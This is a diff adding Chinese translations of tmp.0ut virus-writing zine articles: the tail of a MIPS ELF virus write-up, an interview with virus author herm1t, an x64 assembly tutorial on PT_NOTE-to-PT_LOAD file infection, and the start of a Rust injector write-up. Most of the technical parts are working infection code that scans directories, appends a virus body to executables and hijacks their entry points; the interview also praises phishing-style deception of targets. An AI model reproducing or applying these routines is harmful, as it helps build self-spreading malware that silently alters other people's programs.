p_filesz + lw $t6, 0x14($t0) # p_memsz + + # 修改段的大小以容纳病毒 + li $t7, 0x6a8 # 病毒大小 + add $t5, $t5, $t7 + add $t6, $t6, $t7 + sw $t5, 0x10($t0) + sw $t6, 0x14($t0) + + # 修改入口点 + sw $t4, 0x18($s5) + + # 保存原始入口点 + lw $t7, 0x18($s5) + sw $t7, 0x34($s5) + +现在我们已经修改了文本段,我们可以将病毒代码复制到文件末尾。但首先,我们需要 +生成返回原始入口点的代码。 + +.---\ 在启用PIE的情况下返回原始入口点 /---. + +这是最有趣的部分。我们需要计算原始入口点的地址,即使在启用PIE的情况下。 + +这是我的方法: + +1) 首先,我们需要获取当前指令的地址(在MIPS中是PC)。我们可以使用一个相对调用来 + 实现这一点: + + bgezal $zero, get_pc + nop + get_pc: + move $t8, $ra + +2) 现在$t8包含了当前指令的地址。我们需要减去一些值以获得病毒代码的开始地址: + + li $t9, 0x6a8 # 病毒大小 + sub $t8, $t8, $t9 + +3) 现在$t8包含了病毒代码在内存中的地址。我们需要减去文件中病毒代码的偏移量, + 以获得加载基址: + + lw $t9, 0x1c($s5) # e_phoff + add $t9, $t9, $s5 # $t9 = 程序头表的地址 + lw $t7, 0($t9) # p_vaddr + sub $t8, $t8, $t7 + +4) 最后,我们将这个基址加上原始入口点,就得到了正确的地址: + + lw $t9, 0x34($s5) # 原始入口点 + add $t8, $t8, $t9 + jr $t8 + +这就是全部了!我们的病毒现在可以在任何MIPS二进制文件中工作,无论是否启用PIE。 + +.---\ 结论 /---. + +编写MIPS病毒是一个有趣的挑战。我学到了很多关于MIPS架构和ELF文件格式的知识。 +我希望这篇文章能帮助你理解一些有趣的技术,如假反汇编和在启用PIE的情况下返回 +原始入口点。 + +记住:这只是为了教育目的。不要将这些技术用于恶意目的。 + +--- 注释和参考文献 --- +[0] https://github.com/vxunderground/MalwareSourceCode/blob/main/VXUG/Linux.MIPS.Bakunin.asm +[1] "Unix Viruses" by Silvio Cesare +[2] "The Art of Anti Reverse Engineering" by Peter Ferrie + +--- 源代码 --- + +- Linux.MIPS.Bakunin.asm +
+ ┌───────────────────────┐ + ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ │ + │ █ █ █ █ █ █ │ + │ █ █ █ █ █▀▀▀▀ │ + │ █ █ █ █ ▄ │ + │ ▄▄▄▄▄ │ + │ █ █ │ + │ █ █ │ + │ █▄▄▄█ │ + │ ▄ ▄ │ + │ █ █ │ + │ █ █ │ + │ █▄▄▄█ │ + │ ▄▄▄▄▄ │ + │ █ │ +访谈:herm1t │ █ │ +~ tmp.0ut 团队 └───────────────────█ ──┘ + +t0: + 跟我们谈谈Linux病毒技术这些年的演变 - 在没有现在这么丰富的文档的时候是什么样的, + 这个领域的哪些发现启发了你,你认为它将何去何从? + +herm1t: + Silvio Cesare和grugq的文章帮助很大,Tracy Reed的邮件列表也是。我还在工作的生产 + 系统上遇到过几次Bliss和其他一些早期病毒。关于文档,我赞同早期开源软件的态度 + "阅读源代码吧,卢克",这是最好的文档。虽然90年代和2000年代早期的黑客场景激发了 + 我的想象力,但我很害羞,认为没人会对我的小爱好感兴趣,我在技术上进展缓慢,直到 + 反情报部门和警察敲响了我的门。 + +t0: + 90年代末你在undernet的#vir / #virus频道吗? + +herm1t: + 我试过 :-) 但由于我糟糕的语言能力,而且无法解释我为什么在那里,我很快就被频道 + 封禁了,只能再次回来安静地听着,被无休止且无关的闲聊弄得很无聊。 + +t0: + 跟我们说说你自己编写ELF病毒的演变过程 - 你最初使用什么技术,接下来做了什么, + 你做过的最难的技术是什么?或者你最自豪的是什么? + +herm1t: + 我学到的最重要的事情是,你不需要汇编就能把事情做对(但你还是应该学习汇编)。作为 + 一个"真正的程序员用汇编"的人,我用汇编复现了Silvio的段技术,并以同样的方式继续了 + 多年,直到我意识到底层的东西是不必要的。人们可以轻松地从内存中无文件注入代码, + 找到导入和所有这些东西,甚至不用担心指令长度之类的,这让生活好多了 :-) + +t0: + 你更喜欢哪些感染方法,更喜欢哪些技术?你认为我们在未来可以期待什么? + +herm1t: + 经典的文件病毒早已死亡。现在有很多现代恶意软件利用unix系统中的两个明显的安全漏洞 + (LD_PRELOAD和ptrace),不过,随着ptrace被限制,LD_PRELOAD也可能被关闭,旧时代的 + 感染技术可能会再次被使用,例如通过用一些lib-boring-something替换sshd中的libz.so, + 或者向二进制文件添加一段代码 :-) sshd后门(如ESET的"Darkside")或类似Darkleech + 这样的东西仍然需要在目标系统上重新编译,这是一种耻辱。看起来黑帽们错过了他们的 + 课程,正在试图重新发明轮子。 + +t0: + 你认为ELF病毒编写有未来吗?我们是否停留在过去? + +herm1t: + 随着Linux在每部手机、物联网设备和桌面上的普及,我确信ELF感染和系统内部机制的 + 艺术将再次流行。 + +t0: + 你看到Ubuntu 20.04中95%的二进制文件都实现的新CET / -fcf-protection了吗?你对此 + 有什么想法,或者你已经尝试过了吗? + +herm1t: + 我还不熟悉CET,但我可以给你讲个故事。有一次我在追踪一个人,我缺少的(为了完成 + 安全检查)是他的电话号码。我试图通过OSINT但没有结果。然后我就从一个假账号给他 + 发邮件,写道"立即把你的电话发给我",你猜怎么着?他照做了。纯技术手段无法保证 + 安全。总会有漏洞的。 + +t0: + 你对现代恶意软件有什么看法? + +herm1t: + 大多数时候它极其无聊(但仍然有效) + +t0: + 你认为VX场景还有机会吗?随着最近发生的一切,恶意软件专注于变现等。VXHeavens + 发生了什么?对未来有什么计划?你认为恶意软件编写自上个十年以来有哪些变化? + +herm1t: + 我们所知的场景已经死亡(我最近和LovinGod讨论过这个问题,他称VXH为"场景的棺材"), + 但可能会有一个更广泛的社区,因为病毒编写和黑客技术总体上比以往任何时候都更加 + 实际。2018年,我在乌克兰司法部发现了webshell(不是我安装的),我在Facebook上 + 嘲笑了他们。网络警察认真对待了这件事,他们决定突袭这个信使。我提前知道了突袭的 + 事,就关闭了网站(因为在乌克兰以任何形式分享病毒都是非法的),也许我会以某种 + 形式再次恢复它。距离"Greta案件"的庭审还有四天,我很难确定日期 :-) + + 顺便说一下,有了这些在.plt和其他地方的endbr64东西,如果你修改二进制文件,它会 + "保护"你的病毒免受"未授权"的ret影响 :-) + +t0: + 跟我们谈谈你自己的Linux病毒 - Casher、Cavity、Pulpit等? + +herm1t: + 我的大多数病毒都专注于ELF格式的技巧,我只是打开一些随机的可执行文件,查看各个 + 段,心里有几个问题 - 它能被移动或缩小以腾出空间吗?你能从它那里获得控制权以避免 + 触及入口点吗?所以病毒就是这样做的,"Coin"从段对齐要求中获得更多空间,"Caveat" + 在PHT中放置加载器,"Arches"使用函数填充,"Hasher"玩弄.hash,"PiLoT"玩弄.plt; + 最近的病毒是关于停止使用汇编,停止DOS式的直接使用系统调用的模式,转而使用内存中 + 总是存在的libc的导入,并更深入地研究自我重定位(RELx)和变形(Lacrimae)。从那 + 时起,我仍然对glibc/内核内部机制感兴趣,这对我的系统编程和安全工作(我以此为生) + 帮助很大。 + +t0: + 你对脚本语言中的变形技术有什么看法?我想到了SPTH写的"JavaScript中的变形和自编译" + +herm1t: + 回到技术话题,你可能知道我是编译器相关技术的忠实粉丝,我非常确信DSL和编译器是 + 继变形之后的下一个重要领域,无论是脚本(这比较简单)还是机器代码。 + +t0: + 你是如何学习这些其他技能的 - 社会工程学 - 这对你来说是自然而然的,还是你研究过 + 心理学,或者阅读过其他人的社会工程学经验? + +herm1t: + 任何大型官僚机构都有固有的弱点,这是一个系统,如果你知道合法请求是什么样的, + 你就可以伪造它,通过利用机构间的竞争,你可以让他们别无选择只能继续。有了被黑的 + 邮件的访问权限,你实际上可以进入目标的头脑,操纵人做你需要的事情。我更喜欢这个 + 过程,就是当你找到绕过安全的方法的那一刻。但是"信息"阶段,当你把泄露的信息放到 + 网上并提醒媒体时也是一样的。你需要把你的信息传达给目标,让他们感到悔恨,也要 + 传达给广大观众,让人们相信这是正确的事情,所以这有点像黑客,但是对象是人而不是 + 机器。 + +t0: + 你对CTF和其他黑客竞赛有什么看法? + +herm1t: + 我不喜欢CTF因为我讨厌时间压力。我知道如何快速做事并保持冷静,但当我看到时钟 + 在滴答作响时,我就会很烦躁。 + +t0: + 你在测试病毒时有损坏过自己的系统吗?如果有,能谈谈这个情况吗? + +herm1t: + 由于我的病毒都没有破坏性的有效载荷,而且通常它们被故意限制在当前目录,所以测试 + 它们是安全的。也许有一两次它们逃脱了,但重新安装受影响的软件包很容易。 + +t0: + 你理想中的病毒会是什么样的? + +herm1t: + 复杂性,不规则性。越复杂越好。 + +t0: + 你从技术之外的哪些地方寻找灵感? + +herm1t: + 我很难找到技术之外的东西,当然我也做所有人都做的普通事情,但我最喜欢的是数学、 + 密码学和参与政治。 + +t0: + 你能分享一些关于勒索软件的想法吗? + +herm1t: + 勒索软件和我们的领域一样古老。AIDS木马写于1989年!加密货币的广泛使用和其较难 + 追踪的特性使得勒索软件的扩散不可避免。从技术角度来看,它很无聊(除了一些作者 + 在密码学上犯的滑稽错误,比如用time(NULL)作为种子生成密钥,在公开羞辱后又 + 用类似md5(time(NULL))这样的东西替换) + +t0: + 这是你的自由空间,herm1t。在这里你可以留下任何你想说的:向朋友或其他人问好或 + 祝愿等。 + +herm1t: + 向过去和未来的所有黑客和病毒编写者致敬 :) +
+ ┌───────────────────────┐
+ ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ │
+ │ █ █ █ █ █ █ │
+ │ █ █ █ █ █▀▀▀▀ │
+ │ █ █ █ █ ▄ │
+ │ ▄▄▄▄▄ │
+ │ █ █ │
+ │ █ █ │
+ │ █▄▄▄█ │
+ │ ▄ ▄ │
+ │ █ █ │
+ │ █ █ │
+ │ █▄▄▄█ │
+ │ ▄▄▄▄▄ │
+ │ █ │
+在x64汇编中实现PT_NOTE感染方法 │ █ │
+~ sblip和tmp.0ut团队 └───────────────────█ ──┘
+
+在tmp.out的第一期中,我们提供了几个PT_NOTE->PT_LOAD感染算法的示例,其中三个是x64汇编版本,
+一个是Rust版本。对于那些正在学习这门技艺的人来说,我认为讨论如何在x64汇编中实现一些具体步骤
+会很有用。2019年3月,当我在进行backdoorfactory的golang重写工作时,我写了一篇关于在golang中
+实现该算法的详细分析,感兴趣的读者可以在下面的链接中找到:
+
+ https://www.symbolcrash.com/2019/03/27/pt_note-to-pt_load-injection-in-elf/
+
+x64的算法当然是相同的,不过我会在下面提供一些代码片段,希望这些能对有志于成为x64汇编ELF
+程序员的读者有所帮助。
+
+我们可以使用上述文章中列出的相同步骤作为参考,尽管根据具体实现,执行这些步骤的顺序可能会
+有所变化。有些方法会先写入一个新文件到磁盘然后进行覆盖,而其他方法则直接写入文件。
+
+从上面的链接中,实现PT_NOTE->PT_LOAD感染算法的一般步骤如下:
+
+ 1. 打开要注入的ELF文件
+ 2. 保存原始入口点,e_entry
+ 3. 解析程序头表,寻找PT_NOTE段
+ 4. 将PT_NOTE段转换为PT_LOAD段
+ 5. 更改此段的内存保护以允许执行指令
+ 6. 将入口点地址更改为不会与原始程序执行冲突的区域
+ 7. 调整磁盘上的大小和虚拟内存大小以适应注入代码的大小
+ 8. 将我们转换后的段的偏移指向原始二进制文件的末尾,我们将在那里存储新代码
+ 9. 用跳转到原始入口点的指令修补代码的末尾
+ 10. 将我们注入的代码添加到文件末尾
+*11. 将文件写回磁盘,覆盖原始文件* -- 我们这里不会讨论这种实现变体,它会在磁盘上创建一个
+ 新的临时ELF二进制文件并覆盖宿主文件,如上文所述。
+
+我们将大致遵循上述步骤,但读者应该记住,其中一些步骤可能会以不同的顺序执行(而且有些步骤
+在其他步骤完成之前无法执行)- 但最终所有步骤都必须完成。
+
+1. 打开要注入的ELF文件:
+
+getdents64()系统调用是我们在64位系统上查找文件的方式。该函数定义为:
+
+ int getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);
+
+我们将把实现getdents64()作为读者的练习 - 在本期发布的代码中有几个示例,包括在Midrashim、
+kropotkin、Eng3ls和Bak0unin中。
+
+对于ELF历史学家来说,我20年前写了一篇糟糕的(现在完全过时的)文章,讲述如何在32位AT&T语法
+中实现这一点,位于这里:
+
+ https://tmpout.sh/papers/getdents.old.att.syntax.txt
+
+假设我们已经调用了getdents64()并在栈上存储了目录项结构体,我们可以从查看它得知:
+
+ struct linux_dirent {
+ unsigned long d_ino; /* Inode号 */
+ unsigned long d_off; /* 到下一个linux_dirent的偏移 */
+ unsigned short d_reclen; /* 这个linux_dirent的长度 */
+ char d_name[]; /* 文件名(以null结尾) */
+ /* 长度实际上是(d_reclen - 2 -
+ offsetof(struct linux_dirent, d_name)) */
+ /*
+ char pad; // 零填充字节
+ char d_type; // 文件类型(仅自Linux
+ // 2.6.4起);偏移是(d_reclen - 1)
+ */
+ }
+
+以null结尾的文件名d_name位于偏移[rsp+18]或[rsp+0x12]处
+
+ d_ino是字节0-7 - unsigned long
+ d_off是字节8-15 - unsigned long
+ d_reclen是字节16-17 - unsigned short
+ d_name从第18个字节开始 - 以null结尾的文件名
+
+对于我们的open()调用,int open(const char *pathname, int flags, mode_t mode);
+
+ - rax将保存系统调用号,2
+ - rdi将保存文件名d_name,在我们的例子中是[rsp+18]
+ - rsi将保存标志,可以是O_RDONLY (0)或O_RDWR (02),取决于我们的vx如何工作
+ - rdx将保存模式,但我们不需要这个并将把它置零。
+
+所以以下代码:
+
+ mov rax, 2 ; open系统调用
+ mov rdi, [rsp+18] ; d_name来自从栈开始处的dirent结构体
+ mov rsi, 2 ; O_RDWR / 读写
+ syscall
+
+如果成功,将在rax中返回文件描述符。如果是0或负数,则打开文件时发生了错误。
+
+ cmp rax, 0
+ jng file_open_error
+
+或
+ test rax, rax
+ js file_open_error
+
+2. 保存原始入口点,e_entry:
+
+在TMZ的Midrashim中,他将原始入口点存储在r14寄存器中以供后续使用,这个值是从栈上复制的。
+高位寄存器r13、r14和r15是存储数据/地址以供后续使用的好地方,因为它们不会被系统调用破坏。
+
+ ; 栈缓冲区:
+ ; r15 + 0 = 栈缓冲区(10000字节)= stat
+ ; r15 + 48 = stat.st_size
+ ; r15 + 144 = ehdr
+ ; r15 + 148 = ehdr.class
+ ; r15 + 152 = ehdr.pad
+ ; r15 + 168 = ehdr.entry
+ ---cut---
+
+ mov r14, [r15 + 168] ; 将目标原始ehdr.entry从[r15 + 168]存储到r14中
+
+3. 解析程序头表,寻找PT_NOTE段:
+
+正如你可能从本文的标题中推断的那样,我们的目标是将PT_NOTE段转换为可加载的PT_LOAD段,并具有
+rx(或rwx)权限。如果我不提到这个算法对某些二进制文件(如golang二进制文件)以及使用
+-fcf-protection标志编译的任何二进制文件不能"开箱即用",那就太失职了,除非我们做一些我们
+还没有做(或看到)的更多魔法操作。下一期内容,Every0ne?
+
+除了这些边缘情况,基本概念很简单 - PT_LOAD段在运行ELF二进制文件时实际上会被加载到内存中 -
+而PT_NOTE段则不会。但是,如果我们将PT_NOTE段改为PT_LOAD类型,并将内存权限至少更改为读和
+执行,我们就可以在那里放置我们想要运行的代码,将我们的数据写入原始文件的末尾,并更改相关的
+程序头表条目变量以正确加载它。
+
+我们在虚拟地址字段v_addr中放入一个很高的内存值,这样就不会干扰正常的程序执行。然后我们修补
+原始入口点,使其首先跳转到我们新的PT_LOAD段代码,该代码执行它的任务,然后调用原始程序代码。
+
+64位ELF程序头表条目具有以下结构:
+
+ typedef struct {
+ uint32_t p_type; // 4字节
+ uint32_t p_flags; // 4字节
+ Elf64_Off p_offset; // 8字节
+ Elf64_Addr p_vaddr; // 8字节
+ Elf64_Addr p_paddr; // 8字节
+ uint64_t p_filesz; // 8字节
+ uint64_t p_memsz; // 8字节
+ uint64_t p_align; // 8字节
+ } Elf64_Phdr;
+
+
+在这段来自kropotkin.s的代码片段中,我们通过将PHT的偏移加载到rbx中,将PHT条目数加载到ecx中,
+并读取条目开头的前4个字节来循环遍历每个程序头表条目,寻找值为4的条目,这是为PT_NOTE类型段
+指定的数字。
+
+parse_phdr:
+ xor rcx, rcx ; 将rcx置零
+ xor rdx, rdx ; 将rdx置零
+ mov cx, word [rax+e_hdr.phnum] ; rcx包含PHT中的条目数
+ mov rbx, qword [rax+e_hdr.phoff] ; rbx包含PHT的偏移
+ mov dx, word [rax+e_hdr.phentsize] ; rdx包含PHT中一个条目的大小
+
+ loop_phdr:
+ add rbx, rdx ; 每次迭代,加上一个PHT条目的大小
+ dec rcx ; 减少phnum,直到我们遍历完所有程序头或找到
+ ; PT_NOTE段
+ cmp dword [rax+rbx+e_phdr.type], 0x4 ; 如果是4,我们找到了一个PT_NOTE段,
+ ; 并转到感染它
+ je pt_note_found
+ cmp rcx, 0
+ jg loop_phdr
+ ...
+ ...
+ pt_note_found:
+
+4. 将PT_NOTE段转换为PT_LOAD段:
+
+要将PT_NOTE段转换为PT_LOAD段,我们必须更改描述该段的程序头表条目中的几个值。
+
+注意,32位ELF二进制文件有不同的PHT条目结构,p_flags值是结构体中的第7个条目,而在其64位
+对应项中是第2个条目。
+
+ typedef struct {
+ uint32_t p_type; <-- 将此值更改为PT_LOAD == 1
+ uint32_t p_flags; <-- 更改为至少具有读+执行权限
+ Elf64_Off p_offset;
+ Elf64_Addr p_vaddr; <-- 段将被加载的很高的虚拟地址
+ Elf64_Addr p_paddr;
+ uint64_t p_filesz;
+ uint64_t p_memsz;
+ uint64_t p_align;
+ } Elf64_Phdr;
+
+首先,p_type必须从PT_NOTE(值为4)更改为PT_LOAD(值为1)。
+
+其次,p_flags必须至少更改为允许读和执行访问。这是一个标准的位掩码,就像unix文件权限一样,
+其中:
+
+ PF_X == 1
+ PF_W == 2
+ PF_R == 4
+
+在fasm语法中,如下所示,这只需简单地输入"PF_R or PF_X"即可。
+
+第三,我们需要为新的病毒数据选择一个加载地址。一个常见的技术是选择一个很高的地址,0xc000000,
+这个地址不太可能与现有段重叠。我们将其添加到stat.st_size文件大小中,在下面的例子中,这个
+大小已从r15+48检索并存储在r13中,然后我们加上0xc000000。然后我们将这个值存储在p_vaddr中。
+
+来自TMZ的Midrashim:
+
+ .patch_phdr:
+ mov dword [r15 + 208], PT_LOAD ; 将[r15 + 208]中的phdr类型从
+ ; PT_NOTE改为PT_LOAD (1)
+ mov dword [r15 + 212], PF_R or PF_X ; 将[r15 + 212]中的phdr.flags
+ ; 改为PF_X (1) | PF_R (4)
+ pop rax ; 将目标EOF偏移恢复到rax中
+ mov [r15 + 216], rax ; phdr.offset [r15 + 216] = 目标
+ ; EOF偏移
+ mov r13, [r15 + 48] ; 将目标stat.st_size从[r15 + 48]
+ ; 存储到r13中
+ add r13, 0xc000000 ; 将0xc000000加到目标文件大小上
+ mov [r15 + 224], r13 ; 将[r15 + 224]中的phdr.vaddr
+ ; 改为r13中的新值
+ ; (stat.st_size + 0xc000000)
+ mov qword [r15 + 256], 0x200000 ; 将[r15 + 256]中的phdr.align设为2mb
+ add qword [r15 + 240], v_stop - v_start + 5 ; 将病毒大小加到[r15 + 240]中的
+ ; phdr.filesz上 + 5用于跳转到
+ ; 原始ehdr.entry
+ add qword [r15 + 248], v_stop - v_start + 5 ; 将病毒大小加到[r15 + 248]中的
+ ; phdr.memsz上 + 5用于跳转到
+ ; 原始ehdr.entry
+
+5. 更改此段的内存保护以允许执行指令:
+
+ mov dword [r15 + 212], PF_R or PF_X ; 将[r15 + 212]中的phdr.flags
+ ; 改为PF_X (1) | PF_R (4)
+
+6. 将入口点地址更改为不会与原始程序执行冲突的区域。我们将使用0xc000000。选择一个在虚拟内存中
+ 足够高的地址,这样加载时不会与其他代码重叠。
+
+ mov r13, [r15 + 48] ; 将目标stat.st_size从[r15 + 48]存储到r13中
+ add r13, 0xc000000 ; 将0xc000000加到目标文件大小上
+ mov [r15 + 224], r13 ; 将[r15 + 224]中的phdr.vaddr改为r13中的新值
+ ; (stat.st_size + 0xc000000)
+
+7. 调整磁盘上的大小和虚拟内存大小以适应注入代码的大小
+
+ add qword [r15 + 240], v_stop - v_start + 5 ; 将病毒大小加到[r15 + 240]中的
+ ; phdr.filesz上 + 5用于跳转到
+ ; 原始ehdr.entry
+ add qword [r15 + 248], v_stop - v_start + 5 ; 将病毒大小加到[r15 + 248]中的
+ ; phdr.memsz上 + 5用于跳转到
+ ; 原始ehdr.entry
+
+8. 将我们转换后的段的偏移指向原始二进制文件的末尾,我们将在那里存储新代码:
+
+ 之前在Midrashim中,执行了这段代码:
+
+ mov rdx, SEEK_END
+ mov rax, SYS_LSEEK
+ syscall ; 在rax中获取目标EOF偏移
+ push rax ; 保存目标EOF
+
+ 在.patch_phdr中,我们使用这个值作为存储新代码的位置:
+
+ pop rax ; 将目标EOF偏移恢复到rax中
+ mov [r15 + 216], rax ; phdr.offset [r15 + 216] = 目标EOF偏移
+
+
+9. 用跳转到原始入口点的指令修补代码的末尾:
+
+ 示例#1,来自Midrashim,使用Binjection的算法:
+
+ .write_patched_jmp:
+ ; 获取目标新EOF
+ mov rdi, r9 ; r9包含fd
+ mov rsi, 0 ; 寻址偏移0
+ mov rdx, SEEK_END ; 从文件末尾开始
+ mov rax, SYS_LSEEK ; lseek系统调用
+ syscall ; 在rax中获取目标EOF偏移
+
+ ; 创建修补的跳转
+ mov rdx, [r15 + 224] ; rdx = phdr.vaddr
+ add rdx, 5 ; 跳转指令的大小
+ sub r14, rdx ; 从我们在步骤#2中存储的e_entry中减去跳转的大小
+ ; (保存e_entry)
+ sub r14, v_stop - v_start ; 减去病毒代码本身的大小
+ mov byte [r15 + 300 ], 0xe9 ; 跳转指令的第一个字节
+ mov dword [r15 + 301], r14d ; 要跳转到的新地址,通过减去病毒大小和跳转指令
+ ; 的大小来更新
+
+ 示例#2,来自sblip/s01den vx,使用elfmaster的OEP技术:
+
+ 解释这种方法超出了本文档的范围 - 参考:
+
+ https://tmpout.sh/1/11.html
+
+ 来自kropotkin.s的代码:
+
+ mov rcx, r15 ; 保存的rsp
+ add rcx, VXSIZE
+ mov dword [rcx], 0xffffeee8 ; 相对调用到get_eip
+ mov dword [rcx+4], 0x0d2d48ff ; sub rax, (VXSIZE+5)
+ mov byte [rcx+8], 0x00000005
+ mov word [rcx+11], 0x0002d48
+ mov qword [rcx+13], r9 ; sub rax, entry0
+ mov word [rcx+17], 0x0000548
+ mov qword [rcx+19], r12 ; add rax, sym._start
+ mov dword [rcx+23], 0xfff4894c ; movabs rsp, r14
+ mov word [rcx+27], 0x00e0 ; jmp rax
+
+10. 将我们注入的代码添加到文件末尾:
+
+来自Midrashim:
+
+ 我们直接将代码添加到文件末尾,并将新的PT_LOAD地址指向它。首先,我们使用lseek系统调用
+ 寻址到文件末尾,该文件的文件描述符保存在寄存器r9中。调用.delta将下一条指令的地址压入
+ 栈顶,在这种情况下是'pop rbp'。弹出这条指令然后减去.delta将给你运行时病毒的内存地址,
+ 这在下面读取/复制病毒代码时使用,你可以在'lea rsi, [rbp + v_start]'中看到 - 提供了
+ 读取要写入字节的起始位置,要写入的字节数在调用pwrite64()之前放入rdx中。
+
+ .append_virus:
+ ; 获取目标EOF
+ mov rdi, r9 ; r9包含fd
+ mov rsi, 0 ; 寻址偏移0
+ mov rdx, SEEK_END ; 从文件末尾开始
+ mov rax, SYS_LSEEK ; lseek系统调用
+ syscall ; 在rax中获取目标EOF偏移
+ push rax ; 保存目标EOF
+
+ call .delta ; 古老的技巧
+ .delta:
+ pop rbp
+ sub rbp, .delta
+
+ ; 将病毒主体写入EOF
+ mov rdi, r9 ; r9包含fd
+ lea rsi, [rbp + v_start] ; 将v_start地址加载到rsi中
+ mov rdx, v_stop - v_start ; 病毒大小
+ mov r10, rax ; rax包含来自前一个系统调用的目标EOF偏移
+ mov rax, SYS_PWRITE64 ; 系统调用#18,pwrite()
+ syscall
+
+PT_NOTE感染算法的好处是相对容易学习,而且非常灵活。它可以与其他技术结合使用,任何类型的
+数据都可以存储在转换后的PT_LOAD段中,包括符号表、原始数据、DT_NEEDED对象的代码,甚至是
+完全独立的ELF二进制文件。我希望这篇文章对任何学习x64汇编语言以用于操作ELF二进制文件的人
+都有帮助。
\ No newline at end of file
diff --git a/1/zh/3.html b/1/zh/3.html
new file mode 100644
index 0000000..a653374
--- /dev/null
+++ b/1/zh/3.html
@@ -0,0 +1,266 @@
+
+
+tmp.0ut
+
+
+
+
+
+ \_______________________________________________________________________/
+o_/_________________________________________________________________________\_o
+ | | ___________ __ | |
+ | | \__ ___/____ ______ ____ __ ___/ |_ | |
+ | | | | / \\____ \ / _ \| | \ __\ | |
+ | | | || Y Y \ |_> > ( <_> ) | /| | | |
+ | | |____||__|_| / __/ /\ \____/|____/ |__| | |
+ | | \/|__| \/ | |
+ | | | |
+ | | ::: PT_NOTE到PT_LOAD的ELF注入器(Rust版本)::: | |
+ | | `- 来自d3npa和tmp.0ut的爱 <3 | |
+ | | | |
+
++------------------------------------------------------------------------------
+| 日本语版本在Github上可用 / 日本語版はGithubにてご覧できます
+| https://github.com/d3npa/hacking-trix-rust/blob/main/elf/ptnote-infector
++------------------------------------------------------------------------------
+
+我在SymbolCrash博客上读到一种技术,通过将程序头中的PT_NOTE转换为PT_LOAD来向ELF二进制文件
+注入shellcode。我觉得这很有趣,而且我对ELF了解不多,所以我把它当作一个机会来同时学习许多
+新东西。
+
+对于这个项目,我创建了一个小型的、非常不完整的库,我称之为mental_elf,它使解析和写入ELF
+元数据变得更容易。我认为库代码非常直观且易于理解,所以我在这里不会再多谈。
+
+====[ 概述 ]===============================================================
+
+正如标题所暗示的,这种感染技术涉及将ELF的`PT_NOTE`程序头转换为`PT_LOAD`以运行shellcode。
+感染可以归结为三个步骤:
+
+ - 将shellcode附加到ELF文件的末尾
+ - 将shellcode加载到虚拟内存中的特定地址
+ - 将ELF的入口点更改为上述地址,以便首先执行shellcode
+
+shellcode还应该针对每个ELF进行修补,使其跳回到宿主ELF的原始入口点,允许宿主在shellcode
+完成后正常执行。
+
+shellcode可以通过PT_LOAD头加载到虚拟内存中。将新的程序头插入ELF文件可能会破坏二进制文件
+中的许多偏移,但通常可以重新利用PT_NOTE头而不破坏二进制文件。
+
+以下是ELF规范中关于Note段的说明:
+
+ +--------------------------------------------------------------------------
+ | Note信息是可选的。Note信息的存在不会影响程序的ABI一致性,前提是该信息
+ | 不影响程序的执行行为。否则,程序就不符合ABI并具有未定义的行为。
+ +--------------------------------------------------------------------------
+
+以下是我意识到的两个注意事项:
+
+ - 这种简单的技术不适用于PIE。
+ - Go语言运行时实际上需要一个包含版本信息的有效PT_NOTE段才能运行,所以这种技术
+ 不能用于Go二进制文件。
+
+注意:PIE可以在cc中使用`-no-pie`禁用,或在rustc中使用`-C relocation-model=static`禁用
+
+====[ shellcode ]==============================================================
+
+提供的shellcode是为Netwide ASseMbler (NASM)编写的。在运行Makefile之前,请确保安装了
+`nasm`!
+
+要创建适合此注入的shellcode,需要记住几点。AMD64系统V ABI的3.4.1节说,在入口之前必须将
+rbp、rsp和rdx寄存器设置为正确的值。这可以通过在shellcode周围进行普通的压栈和出栈来实现。
+
+我的shellcode不会触及rbp或rsp,在返回之前将rdx设置为零也可以工作。
+
+shellcode还需要进行修补,以便在完成后实际跳回到宿主的原始入口点。为了使修补更容易,
+shellcode可以设计为从文件末尾运行,可以是自上而下编写,也可以跳转到末尾的空标签:
+
+ +--------------------------------------------------------------------------
+ | main_tasks:
+ | ; ...
+ | jmp finish
+ | other_tasks:
+ | ; ...
+ | finish:
+ +--------------------------------------------------------------------------
+
+使用这种设计,修补就像附加一个跳转指令一样简单。然而,在x86_64中,jmp不能接受64位操作数 -
+相反,目标存储在rax中,然后执行jmp rax。这个rust片段修补"shellcode"字节向量以附加一个
+跳转到entry_point:
+
+ +--------------------------------------------------------------------------
+ | fn patch_jump(shellcode: &mut Vec<u8>, entry_point: u64) {
+ | // 将entry_point存储在rax中
+ | shellcode.extend_from_slice(&[0x48u8, 0xb8u8]);
+ | shellcode.extend_from_slice(&entry_point.to_ne_bytes());
+ | // 跳转到rax中的地址
+ | shellcode.extend_from_slice(&[0xffu8, 0xe0u8]);
+ | }
+ +--------------------------------------------------------------------------
+
+====[ 注入器 ]===============================================================
+
+注入器本身在src/main.rs中。它以易于理解的自上而下格式编写,所以如果你理解了概述,它应该
+非常清晰。我还添加了注释以帮助理解。代码使用我的mental_elf库来抽象读写文件的细节,这样
+更容易看到技术的本质。
+
+总的来说,代码:
+
+- 接受2个CLI参数:ELF目标和shellcode文件
+- 从ELF文件中读取ELF和程序头
+- 用跳转到原始入口点的指令修补shellcode
+- 将修补后的shellcode附加到ELF
+- 找到一个`PT_NOTE`程序头并将其转换为`PT_LOAD`
+- 将ELF的入口点更改为shellcode的开始
+- 将更改后的头结构保存回ELF文件
+
+当运行受感染的ELF文件时,ELF加载器会将ELF文件的几个部分映射到虚拟内存中 - 我们创建的
+PT_LOAD将确保我们的shellcode被加载并可执行。然后ELF的入口点开始执行shellcode。当
+shellcode结束时,它将跳转到原始入口点,允许二进制文件运行其原始代码。
+
+ +--------------------------------------------------------------------------
+ | $ make
+ | cd files && make && cd ..
+ | make[1]: Entering directory '/.../files'
+ | rustc -C opt-level=z -C debuginfo=0 -C relocation-model=static target.rs
+ | nasm -o shellcode.o shellcode.s
+ | make[1]: Leaving directory '/.../files'
+ | cargo run --release files/target files/shellcode.o
+ | Compiling mental_elf v0.1.0
+ (https://github.com/d3npa/mental-elf#0355d2d3)
+ | Compiling ptnote-to-ptload-elf-injection v0.1.0 (/...)
+ | Finished release [optimized] target(s) in 1.15s
+ | Running `target/release/ptnote-to-ptload-elf-injection files/target
+ files/shellcode.o`
+ | Found PT_NOTE section; converting to PT_LOAD
+ | echo 'Done! Run target with: `./files/target`'
+ | Done! Run target with: `./files/target`
+ | $ ./files/target
+ | dont tell anyone im here
+ | hello world!
+ | $
+ +--------------------------------------------------------------------------
+
